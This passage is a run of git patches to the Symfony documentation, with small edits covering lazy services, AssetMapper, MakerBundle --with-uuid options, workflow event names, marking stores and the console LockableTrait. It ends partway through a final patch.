0816f2b88a0aec8ddad0df640b94a2ae3b0f427e Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 21 Mar 2024 15:42:46 +0100 Subject: [PATCH 051/615] Tweaks --- service_container/lazy_services.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst index ca883278453..41f27d8448f 100644 --- a/service_container/lazy_services.rst +++ b/service_container/lazy_services.rst @@ -137,8 +137,8 @@ Another possibility is to use the :class:`Symfony\\Component\\DependencyInjectio // ... } -This attribute can be used on a class or on a parameter which should be lazy-loaded, and has a parameter -that also supports defining interfaces to proxy and intersection types:: +This attribute can be applied to both class and parameters that should be lazy-loaded. +It defines an optional parameter used to define interfaces for proxy and intersection types:: public function __construct( #[Lazy(FooInterface::class)] From ad7303f7ca0c9302f126504991c66db2951ad98c Mon Sep 17 00:00:00 2001 From: Christophe Coevoet <stof@notk.org> Date: Thu, 21 Mar 2024 18:22:19 +0100 Subject: [PATCH 052/615] Fix the default value for the constraints option of forms `null` is not a valid value of this option. --- reference/forms/types/options/constraints.rst.inc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/reference/forms/types/options/constraints.rst.inc b/reference/forms/types/options/constraints.rst.inc index 7aab319f302..3e1af29f3ab 100644 --- a/reference/forms/types/options/constraints.rst.inc +++ b/reference/forms/types/options/constraints.rst.inc @@ -1,7 +1,7 @@ ``constraints`` ~~~~~~~~~~~~~~~ -**type**: ``array`` or :class:`Symfony\\Component\\Validator\\Constraint` **default**: ``null`` +**type**: ``array`` or :class:`Symfony\\Component\\Validator\\Constraint` **default**: ``[]`` Allows you to attach one or more validation constraints to a specific field. For more information, see :ref:`Adding Validation <form-option-constraints>`. From 259482f48dec24c6d0836450e213305584a47449 Mon Sep 17 00:00:00 2001 From: Alexis Lefebvre <alexislefebvre+github@gmail.com> Date: Fri, 9 Feb 2024 19:01:31 +0100 Subject: [PATCH 053/615] =?UTF-8?q?[5.4]=20add=20note=20about=20newer=20ve?= =?UTF-8?q?rsion=20on=20the=20=E2=80=9Cupgrade=20major=E2=80=9D=20guide?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- setup/upgrade_major.rst | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst index 9841a2496bd..c705c01059f 100644 --- a/setup/upgrade_major.rst +++ b/setup/upgrade_major.rst @@ -176,6 +176,12 @@ this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0: } } + +.. tip:: + + If a more recent minor version is available, e.g. ``6.4``, you can use this version directly + and skip the older releases, like ``6.0``. Check the `available versions`_. + Next, use Composer to download new versions of the libraries: .. code-block:: terminal @@ -335,3 +341,4 @@ Classes in the ``vendor/`` directory are always ignored. .. _`PHP CS Fixer`: https://github.com/friendsofphp/php-cs-fixer .. _`Rector`: https://github.com/rectorphp/rector +.. _`available versions`: https://symfony.com/releases From 3e752cacb17e8e81b9f6b2bc2890267e2ef52d6d Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 22 Mar 2024 10:33:48 +0100 Subject: [PATCH 054/615] Tweaks --- setup/upgrade_major.rst | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst index c705c01059f..f75762604ca 100644 --- a/setup/upgrade_major.rst +++ b/setup/upgrade_major.rst @@ -176,11 +176,11 @@ this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0: } } - .. tip:: - If a more recent minor version is available, e.g. ``6.4``, you can use this version directly - and skip the older releases, like ``6.0``. Check the `available versions`_. + If a more recent minor version is available (e.g. ``6.4``) you can use that + version directly and skip the older releases (``6.0``, ``6.1``, etc.). + Check the `maintained Symfony versions`_. Next, use Composer to download new versions of the libraries: @@ -341,4 +341,4 @@ Classes in the ``vendor/`` directory are always ignored. .. _`PHP CS Fixer`: https://github.com/friendsofphp/php-cs-fixer .. _`Rector`: https://github.com/rectorphp/rector -.. _`available versions`: https://symfony.com/releases +.. _`maintained Symfony versions`: https://symfony.com/releases From 2aec458835cd58504c910ad9bc625bd1012ab19d Mon Sep 17 00:00:00 2001 From: Pierre Arnissolle <pierre@arnissolle.com> Date: Fri, 22 Mar 2024 10:45:17 +0100 Subject: [PATCH 055/615] Update shared.rst to add doc on PHP attributes Add code block for PHP attributes --- service_container/shared.rst | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/service_container/shared.rst b/service_container/shared.rst index 435822fb25c..ea12de568d4 100644 --- a/service_container/shared.rst +++ b/service_container/shared.rst @@ -11,6 +11,19 @@ in your service definition: .. configuration-block:: + .. code-block:: php-attributes + + // src/SomeNonSharedService.php + namespace App; + + use Symfony\Component\DependencyInjection\Attribute\Autoconfigure; + + #[Autoconfigure(shared: false)] + class SomeNonSharedService + { + // ... + } + .. code-block:: yaml # config/services.yaml From 64eb515797f8966408f8abd1896d7ed3893d1f41 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 25 Mar 2024 15:42:52 +0100 Subject: [PATCH 056/615] Rewords --- frontend/asset_mapper.rst | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst index 8b8658468fc..c4ec17337ef 100644 --- a/frontend/asset_mapper.rst +++ b/frontend/asset_mapper.rst @@ -188,11 +188,6 @@ to add any `npm package`_: $ php bin/console importmap:require bootstrap -.. note:: - - If you're getting a 404 error, you can contact the package maintainer and ask them to - include `"main":` and `"module":` to the package's `package.json`. - This adds the ``bootstrap`` package to your ``importmap.php`` file:: // importmap.php @@ -212,8 +207,14 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file:: such as ``@popperjs/core``. The ``importmap:require`` command will add both the main package *and* its dependencies. If a package includes a main CSS file, that will also be added (see :ref:`Handling 3rd-Party CSS <asset-mapper-3rd-party-css>`). - If the associated CSS file isn't added to the importmap, you can contact the package - maintainer and ask them to include `"style":` to the package's `package.json`. + +.. note:: + + If you get a 404 error, there might be some issue with the JavaScript package + that prevents it from being served by the ``jsDelivr`` CDN. For example, the + package might be missing properties like ``main`` or ``module`` in its + `package.json configuration file`_. Try to contact the package maintainer to + ask them to fix those issues. Now you can import the ``bootstrap`` package like usual: @@ -449,7 +450,10 @@ To include it on the page, import it from a JavaScript file: Some packages - like ``bootstrap`` - advertise that they contain a CSS file. In those cases, when you ``importmap:require bootstrap``, the - CSS file is also added to ``importmap.php`` for convenience. + CSS file is also added to ``importmap.php`` for convenience. If some package + doesn't advertise its CSS file in the ``style`` property of the + `package.json configuration file`_ try to contact the package maintainer to + ask them to add that. Paths Inside of CSS Files ~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -1138,3 +1142,4 @@ command as part of your CI to be warned anytime a new vulnerability is found. .. _sensiolabs/typescript-bundle: https://github.com/sensiolabs/AssetMapperTypeScriptBundle .. _`dist/css/bootstrap.min.css file`: https://www.jsdelivr.com/package/npm/bootstrap?tab=files&path=dist%2Fcss#tabRouteFiles .. _`dynamic import`: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import +.. _`package.json configuration file`: https://docs.npmjs.com/creating-a-package-json-file From 995b8ac36a32b0a9c59b55ab94cbc70f82699a55 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?cl=C3=A9ment=20larrieu?= <homzon@gmail.com> Date: Fri, 15 Mar 2024 11:35:34 +0100 Subject: [PATCH 057/615] doc: added a disambiguation on what the identifier is Users could be confused seeing getUserId() and returning a user Id instead of the identifier defined in the app, such as an email. --- security/access_token.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/security/access_token.rst b/security/access_token.rst index 81a3a9cdabe..c5a202249b1 100644 --- a/security/access_token.rst +++ b/security/access_token.rst @@ -97,6 +97,7 @@ This handler must implement } // and return a UserBadge object containing the user identifier from the found token + // the user identifier being an email, a username and not necessarily an Id return new UserBadge($accessToken->getUserId()); } } From c802af32e9393aaaf408c0f875d29e6e66ba569f Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 25 Mar 2024 16:17:05 +0100 Subject: [PATCH 058/615] Minor reword --- security/access_token.rst | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/security/access_token.rst b/security/access_token.rst index c5a202249b1..df02f3da6bc 100644 --- a/security/access_token.rst +++ b/security/access_token.rst @@ -97,7 +97,8 @@ This handler must implement } // and return a UserBadge object containing the user identifier from the found token - // the user identifier being an email, a username and not necessarily an Id + // (this is the same identifier used in Security configuration; it can be an email, + // a UUUID, a username, a database ID, etc.) return new UserBadge($accessToken->getUserId()); } } From 8733549a31d01dd5fb5cd8fac5b05940a68075f1 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 25 Mar 2024 16:25:05 +0100 Subject: [PATCH 059/615] [AssetMapper] Adding updater to comparison table --- frontend.rst | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/frontend.rst b/frontend.rst index 519fe69e350..2314c9f5556 100644 --- a/frontend.rst +++ b/frontend.rst @@ -37,6 +37,7 @@ Supports TypeScript :ref:`yes <asset-mapper-ts>` yes Removes comments from JavaScript no yes Removes comments from CSS no no Versioned assets always optional +Can update 3rd party packages yes yes :ref:`[3] <ux-note-3>` ================================ ================================== ========== .. _ux-note-1: @@ -46,6 +47,14 @@ need to use their native tools for pre-compilation. Also, some features (like Vue single-file components) cannot be compiled down to pure JavaScript that can be executed by a browser. +.. _ux-note-2: + +**[2]** There are some `PostCSS`_ plugins available to remove comments from CSS files. + +.. _ux-note-3: + +**[3]** Update checkers are available for NPM, e.g. `npm-check`. + .. _frontend-asset-mapper: AssetMapper (Recommended) From 0a6719096d20359d044d1fd964d0b319637de2c7 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 25 Mar 2024 16:26:18 +0100 Subject: [PATCH 060/615] Tweak --- frontend.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/frontend.rst b/frontend.rst index 2314c9f5556..2c4a9671236 100644 --- a/frontend.rst +++ b/frontend.rst @@ -37,7 +37,7 @@ Supports TypeScript :ref:`yes <asset-mapper-ts>` yes Removes comments from JavaScript no yes Removes comments from CSS no no Versioned assets always optional -Can update 3rd party packages yes yes :ref:`[3] <ux-note-3>` +Can update 3rd party packages yes no :ref:`[3] <ux-note-3>` ================================ ================================== ========== .. _ux-note-1: @@ -53,7 +53,7 @@ be executed by a browser. .. _ux-note-3: -**[3]** Update checkers are available for NPM, e.g. `npm-check`. +**[3]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``). .. _frontend-asset-mapper: From f65137144162b98b52767dd1bc05ecd6361ec5c9 Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Mon, 25 Mar 2024 18:15:16 +0100 Subject: [PATCH 061/615] [AssetMapper] Removing orphaned footnote [2] Page: https://symfony.com/doc/6.4/frontend.html --- frontend.rst | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/frontend.rst b/frontend.rst index 2c4a9671236..6b7aa6f5048 100644 --- a/frontend.rst +++ b/frontend.rst @@ -37,7 +37,7 @@ Supports TypeScript :ref:`yes <asset-mapper-ts>` yes Removes comments from JavaScript no yes Removes comments from CSS no no Versioned assets always optional -Can update 3rd party packages yes no :ref:`[3] <ux-note-3>` +Can update 3rd party packages yes no :ref:`[2] <ux-note-2>` ================================ ================================== ========== .. _ux-note-1: @@ -49,11 +49,7 @@ be executed by a browser. .. _ux-note-2: -**[2]** There are some `PostCSS`_ plugins available to remove comments from CSS files. - -.. _ux-note-3: - -**[3]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``). +**[2]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``). .. _frontend-asset-mapper: From 7afdaa339959baaa3e55a8ec2fe33f1d93fb2d84 Mon Sep 17 00:00:00 2001 From: Alexandre Daubois <alex.daubois@gmail.com> Date: Tue, 26 Mar 2024 16:53:56 +0100 Subject: [PATCH 062/615] [Console] Mention `ArgvInput::getRawTokens` --- console/input.rst | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/console/input.rst b/console/input.rst index 4d709c18825..f889926be59 100644 --- a/console/input.rst +++ b/console/input.rst @@ -311,6 +311,37 @@ The above code can be simplified as follows because ``false !== null``:: $yell = ($optionValue !== false); $yellLouder = ($optionValue === 'louder'); +Fetching The Raw Command Input +------------------------------ + +Sometimes, you may need to fetch the raw input that was passed to the command. +This is useful when you need to parse the input yourself or when you need to +pass the input to another command without having to worry about the number +of arguments or options defined in your own command. This can be achieved +thanks to the +:method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens` method:: + + // ... + use Symfony\Component\Process\Process; + + protected function execute(InputInterface $input, OutputInterface $output): int + { + // pass the raw input of your command to the "ls" command + $process = new Process(['ls', ...$input->getRawTokens(true)]); + $process->setTty(true); + $process->mustRun(); + + // ... + } + +You can include the current command name in the raw tokens by passing ``true`` +to the ``getRawTokens`` method only parameter. + +.. versionadded:: 7.1 + + The :method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens` + method was introduced in Symfony 7.1. + Adding Argument/Option Value Completion --------------------------------------- From 0de0d796bb3913237652d990bf4ef6710169ec2d Mon Sep 17 00:00:00 2001 From: Jesse Rushlow <jr@rushlow.dev> Date: Tue, 26 Mar 2024 15:30:25 -0400 Subject: [PATCH 063/615] [MakerBundle] document --with-uuid & --with-ulid Introduced in MakerBundle `v1.57.0` passing `--with-uuid` || --with-ulid` to: - `make:user` - `make:entity` - `make:reset-password` Will generate the entities with either `Uuid`'s or `Ulid`'s for the entities `id` / primary key. --- doctrine.rst | 10 +++++++++- doctrine/associations.rst | 8 ++++++++ security.rst | 7 +++++++ security/passwords.rst | 7 +++++++ 4 files changed, 31 insertions(+), 1 deletion(-) diff --git a/doctrine.rst b/doctrine.rst index c118a7c6280..28767669844 100644 --- a/doctrine.rst +++ b/doctrine.rst @@ -157,9 +157,16 @@ Whoa! You now have a new ``src/Entity/Product.php`` file:: // ... getter and setter methods } +.. tip:: + + Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or + ``--with-ulid`` to ``make:entity``. Leveraging Symfony's :doc:`Uid Component </components/uid>`, + this generates an entity with the ``id`` type as :ref:`Uuid <uuid>` + or :ref:`Ulid <ulid>` instead of ``int``. + .. note:: - Starting in v1.44.0 - MakerBundle only supports entities using PHP attributes. + Starting in v1.44.0 - `MakerBundle`_: only supports entities using PHP attributes. .. note:: @@ -909,3 +916,4 @@ Learn more .. _`PDO`: https://www.php.net/pdo .. _`available Doctrine extensions`: https://github.com/doctrine-extensions/DoctrineExtensions .. _`StofDoctrineExtensionsBundle`: https://github.com/stof/StofDoctrineExtensionsBundle +.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html diff --git a/doctrine/associations.rst b/doctrine/associations.rst index 57e0aa55c9f..5cd1ff1e07f 100644 --- a/doctrine/associations.rst +++ b/doctrine/associations.rst @@ -79,6 +79,13 @@ This will generate your new entity class:: // ... getters and setters } +.. tip:: + + Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or + ``--with-ulid`` to ``make:entity``. Leveraging Symfony's :doc:`Uid Component </components/uid>`, + this generates an entity with the ``id`` type as :ref:`Uuid <uuid>` + or :ref:`Ulid <ulid>` instead of ``int``. + Mapping the ManyToOne Relationship ---------------------------------- @@ -700,3 +707,4 @@ Doctrine's `Association Mapping Documentation`_. .. _`orphanRemoval`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-associations.html#orphan-removal .. _`Mastering Doctrine Relations`: https://symfonycasts.com/screencast/doctrine-relations .. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html +.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html diff --git a/security.rst b/security.rst index 6f07153cc3c..e2f5437c0ec 100644 --- a/security.rst +++ b/security.rst @@ -232,6 +232,13 @@ from the `MakerBundle`_: } } +.. tip:: + + Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or + ``--with-ulid`` to ``make:user``. Leveraging Symfony's :doc:`Uid Component </components/uid>`, + this generates a ``User`` entity with the ``id`` type as :ref:`Uuid <uuid>` + or :ref:`Ulid <ulid>` instead of ``int``. + .. versionadded:: 5.3 The :class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface` diff --git a/security/passwords.rst b/security/passwords.rst index f00cec6184c..b228058c7e3 100644 --- a/security/passwords.rst +++ b/security/passwords.rst @@ -294,6 +294,13 @@ you'll see a success message and a list of any other steps you need to do. $ php bin/console make:reset-password +.. tip:: + + Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or + ``--with-ulid`` to ``make:reset-password``. Leveraging Symfony's :doc:`Uid Component </components/uid>`, + the entities will be generated with the ``id`` type as :ref:`Uuid <uuid>` + or :ref:`Ulid <ulid>` instead of ``int``. + You can customize the reset password bundle's behavior by updating the ``reset_password.yaml`` file. For more information on the configuration, check out the `SymfonyCastsResetPasswordBundle`_ guide. From e083e4946a3ff425055a7b2e8b57963a58cd549b Mon Sep 17 00:00:00 2001 From: Jesse Rushlow <jr@rushlow.dev> Date: Tue, 26 Mar 2024 15:54:46 -0400 Subject: [PATCH 064/615] [MakerBundle] `make:migration` supports --formatted option Released in `v1.56.0`, passing --formatted will generate a "human friendly" migration file. --- doctrine.rst | 6 ++++++ security.rst | 5 +++++ 2 files changed, 11 insertions(+) diff --git a/doctrine.rst b/doctrine.rst index c118a7c6280..e6a178d1802 100644 --- a/doctrine.rst +++ b/doctrine.rst @@ -225,6 +225,11 @@ already installed: $ php bin/console make:migration +.. tip:: + + Starting in `MakerBundle`_: v1.56.0 - Passing ``--formatted`` to ``make:migration`` + generates a nice and tidy migration file. + If everything worked, you should see something like this: .. code-block:: text @@ -909,3 +914,4 @@ Learn more .. _`PDO`: https://www.php.net/pdo .. _`available Doctrine extensions`: https://github.com/doctrine-extensions/DoctrineExtensions .. _`StofDoctrineExtensionsBundle`: https://github.com/stof/StofDoctrineExtensionsBundle +.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html diff --git a/security.rst b/security.rst index 6f07153cc3c..7c7da679d45 100644 --- a/security.rst +++ b/security.rst @@ -245,6 +245,11 @@ to create the tables by :ref:`creating and running a migration <doctrine-creatin $ php bin/console make:migration $ php bin/console doctrine:migrations:migrate +.. tip:: + + Starting in `MakerBundle`_: v1.56.0 - Passing ``--formatted`` to ``make:migration`` + generates a nice and tidy migration file. + .. _where-do-users-come-from-user-providers: .. _security-user-providers: From 3ce5f97e85a782e5d8888a5490eb6cd9881583a3 Mon Sep 17 00:00:00 2001 From: Chris Taylor <chris@christaylordeveloper.co.uk> Date: Tue, 26 Mar 2024 15:50:17 +0100 Subject: [PATCH 065/615] Add missing word. --- contributing/documentation/overview.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst index 4bc8a818bad..aae2c397dec 100644 --- a/contributing/documentation/overview.rst +++ b/contributing/documentation/overview.rst @@ -104,7 +104,7 @@ Fetch all the commits of the upstream branches by executing this command: $ git fetch upstream -The purpose of this step is to allow you work simultaneously on the official +The purpose of this step is to allow you to work simultaneously on the official Symfony repository and on your own fork. You'll see this in action in a moment. **Step 4.** Create a dedicated **new branch** for your changes. Use a short and From 08a12ec0616af510e0325a2b21acea467d5ec7fe Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 25 Mar 2024 09:32:21 +0100 Subject: [PATCH 066/615] [Workflow] Document the EventNameTrait --- workflow.rst | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/workflow.rst b/workflow.rst index 65c4f827a0f..f0c276a86f1 100644 --- a/workflow.rst +++ b/workflow.rst @@ -496,6 +496,7 @@ workflow leaves a place:: use Psr\Log\LoggerInterface; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\Workflow\Event\Event; + use Symfony\Component\Workflow\Event\LeaveEvent; class WorkflowLoggerSubscriber implements EventSubscriberInterface { @@ -518,11 +519,24 @@ workflow leaves a place:: public static function getSubscribedEvents(): array { return [ - 'workflow.blog_publishing.leave' => 'onLeave', + LeaveEvent::getName('blog_publishing') => 'onLeave', + // if you prefer, you can write the event name manually like this: + // 'workflow.blog_publishing.leave' => 'onLeave', ]; } } +.. tip:: + + All built-in workflow events define the ``getName(?string $workflowName, ?string $transitionOrPlaceName)`` + method to build the full event name without having to deal with strings. + You can also use this method in your custom events via the + :class:`Symfony\\Component\\Workflow\\Event\\EventNameTrait`. + + .. versionadded:: 7.1 + + The ``getName()`` method was introduced in Symfony 7.1. + If some listeners update the context during a transition, you can retrieve it via the marking:: From b72a109331bbc5c74998475a5cf8e184e07849d6 Mon Sep 17 00:00:00 2001 From: Maxime Veber <nek.dev@gmail.com> Date: Wed, 27 Mar 2024 15:04:58 +0100 Subject: [PATCH 067/615] Fix wrong link for https_proxy in lowercase explaination --- setup/symfony_server.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst index 6c666a7ad2e..be06059f452 100644 --- a/setup/symfony_server.rst +++ b/setup/symfony_server.rst @@ -530,5 +530,5 @@ help debug any issues. .. _`Proxy settings in Windows`: https://www.dummies.com/computers/operating-systems/windows-10/how-to-set-up-a-proxy-in-windows-10/ .. _`Proxy settings in macOS`: https://support.apple.com/guide/mac-help/enter-proxy-server-settings-on-mac-mchlp2591/mac .. _`Proxy settings in Ubuntu`: https://help.ubuntu.com/stable/ubuntu-help/net-proxy.html.en -.. _`is treated differently`: https://ec.haxx.se/usingcurl/usingcurl-proxies#http_proxy-in-lower-case-only +.. _`is treated differently`: https://superuser.com/a/1799209 .. _`Docker compose CLI env var reference`: https://docs.docker.com/compose/reference/envvars/ From 2bf7485c6a9f28f56c2972624ce44eee2f90ee3a Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 27 Mar 2024 16:18:23 +0100 Subject: [PATCH 068/615] Updated some admonition --- setup/symfony_server.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst index be06059f452..c5608a871fb 100644 --- a/setup/symfony_server.rst +++ b/setup/symfony_server.rst @@ -266,7 +266,7 @@ domains work: # Example with Cypress $ https_proxy=$(symfony proxy:url) ./node_modules/bin/cypress open -.. note:: +.. caution:: Although env var names are always defined in uppercase, the ``https_proxy`` env var `is treated differently`_ than other env vars and its name must be From 2f65b0027202bc18a083f9f87c851607da9a4dbd Mon Sep 17 00:00:00 2001 From: Benjamin Zaslavsky <benjamin.zaslavsky@gmail.com> Date: Wed, 27 Mar 2024 16:30:42 +0100 Subject: [PATCH 069/615] [Workflow] Add type information for multiple state marking store --- workflow.rst | 38 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) diff --git a/workflow.rst b/workflow.rst index 422400476f0..cd2d9ebd3c5 100644 --- a/workflow.rst +++ b/workflow.rst @@ -248,6 +248,44 @@ what actions are allowed on a blog post:: // See a specific available transition for the post in the current state $transition = $workflow->getEnabledTransition($post, 'publish'); +Using a multiple state marking store +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you are creating a :doc:`workflow </workflow/workflow-and-state-machine>` +, your marking store may need to contain multiple places at the same time. +If you are using Doctrine, the matching column definition should use the +type ``json`` :: + + // src/Entity/BlogPost.php + namespace App\Entity; + + use Doctrine\DBAL\Types\Types; + use Doctrine\ORM\Mapping as ORM; + + #[ORM\Entity] + class BlogPost + { + #[ORM\Id] + #[ORM\GeneratedValue] + #[ORM\Column] + private int $id; + + // Type declaration is not mandatory and + // matches the guessed value from Doctrine + #[ORM\Column(type: Types::JSON)] // or #[ORM\Column(type: 'json')] + private array $currentPlaces; + + // ... + } + +.. tip:: + + You should not use the type ``simple_array`` for your marking store. + Inside a multiple state marking store, places are store as keys with + a value of one, such as ``['draft' => 1]``. If the marking store contains + only one place, this Doctrine type will store its value only as a string, + resulting in the loss of the object's current place. + Accessing the Workflow in a Class --------------------------------- From dda1b38a0acb6023236bbc5fe3d17cc15df801b1 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Wed, 27 Mar 2024 20:52:21 +0100 Subject: [PATCH 070/615] replace tab character with spaces --- service_container/shared.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/service_container/shared.rst b/service_container/shared.rst index ea12de568d4..3dcad371400 100644 --- a/service_container/shared.rst +++ b/service_container/shared.rst @@ -16,7 +16,7 @@ in your service definition: // src/SomeNonSharedService.php namespace App; - use Symfony\Component\DependencyInjection\Attribute\Autoconfigure; + use Symfony\Component\DependencyInjection\Attribute\Autoconfigure; #[Autoconfigure(shared: false)] class SomeNonSharedService From d073142085de03fc10641f5a080846e8b2d6e9ed Mon Sep 17 00:00:00 2001 From: Mickael Blondeau <mickael.blondeau59@gmail.com> Date: Thu, 28 Mar 2024 09:47:28 +0100 Subject: [PATCH 071/615] Update var_exporter.rst Remove "lazyObjectId" from LazyGhostTrait because it doesn't seem to do anything --- components/var_exporter.rst | 3 --- 1 file changed, 3 deletions(-) diff --git a/components/var_exporter.rst b/components/var_exporter.rst index 20213e05c06..46471dca1d9 100644 --- a/components/var_exporter.rst +++ b/components/var_exporter.rst @@ -210,9 +210,6 @@ initialized:: class HashProcessor { use LazyGhostTrait; - // Because of how the LazyGhostTrait trait works internally, you - // must add this private property in your class - private int $lazyObjectId; // This property may require a heavy computation to have its value public readonly string $hash; From 54bb5cba6af635724cf141cb8f3cef1010a4c426 Mon Sep 17 00:00:00 2001 From: lkolndeep <lkolndeep@protonmail.com> Date: Sat, 30 Mar 2024 16:00:11 +0100 Subject: [PATCH 072/615] MapQueryParameter regex example correction --- controller.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/controller.rst b/controller.rst index 7a3e7aec0f2..436326aa700 100644 --- a/controller.rst +++ b/controller.rst @@ -375,7 +375,7 @@ attribute, arguments of your controller's action can be automatically fulfilled: // ... public function dashboard( - #[MapQueryParameter(filter: \FILTER_VALIDATE_REGEXP, options: ['regexp' => '/^\w++$/'])] string $firstName, + #[MapQueryParameter(filter: \FILTER_VALIDATE_REGEXP, options: ['regexp' => '/^\w+$/'])] string $firstName, #[MapQueryParameter] string $lastName, #[MapQueryParameter(filter: \FILTER_VALIDATE_INT)] int $age, ): Response From 1aab03d5113790f068f54ba224ac429fda9891d2 Mon Sep 17 00:00:00 2001 From: Vincent Langlet <vincentlanglet@hotmail.fr> Date: Fri, 22 Mar 2024 09:58:55 +0100 Subject: [PATCH 073/615] [Console] Add doc about lockableTrait --- console/lockable_trait.rst | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst index 02f635f5788..19f30e86d96 100644 --- a/console/lockable_trait.rst +++ b/console/lockable_trait.rst @@ -43,4 +43,24 @@ that adds two convenient methods to lock and release commands:: } } +The LockableTrait will use the ``SemaphoreStore`` if available and will default +to ``FlockStore`` otherwise. You can override this behavior by setting +a ``$lockFactory`` property with your own lock factory:: + + // ... + use Symfony\Component\Console\Command\Command; + use Symfony\Component\Console\Command\LockableTrait; + use Symfony\Component\Lock\LockFactory; + + class UpdateContentsCommand extends Command + { + use LockableTrait; + + public function __construct(private LockFactory $lockFactory) + { + } + + // ... + } + .. _`locks`: https://en.wikipedia.org/wiki/Lock_(computer_science) From b9b06084b6d809269e615ae295683c7a7575e72f Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 2 Apr 2024 08:26:03 +0200 Subject: [PATCH 074/615] Add the missing versionadded directive --- console/lockable_trait.rst | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst index 19f30e86d96..0f4a4900e17 100644 --- a/console/lockable_trait.rst +++ b/console/lockable_trait.rst @@ -63,4 +63,8 @@ a ``$lockFactory`` property with your own lock factory:: // ... } +.. versionadded:: 7.1 + + The ``$lockFactory`` property was introduced in Symfony 7.1. + .. _`locks`: https://en.wikipedia.org/wiki/Lock_(computer_science) From be86770f22c5c6d802163cc6777930df45874069 Mon Sep 17 00:00:00 2001 From: Sudhakar Krishnan <featuriz@users.noreply.github.com> Date: Thu, 28 Mar 2024 11:08:51 +0530 Subject: [PATCH 075/615] Update micro_kernel_trait.rst --- configuration/micro_kernel_trait.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst index 4b538f1b6e4..280255a4064 100644 --- a/configuration/micro_kernel_trait.rst +++ b/configuration/micro_kernel_trait.rst @@ -230,6 +230,7 @@ Now it looks like this:: use App\DependencyInjection\AppExtension; use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait; + use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; use Symfony\Component\HttpKernel\Kernel as BaseKernel; use 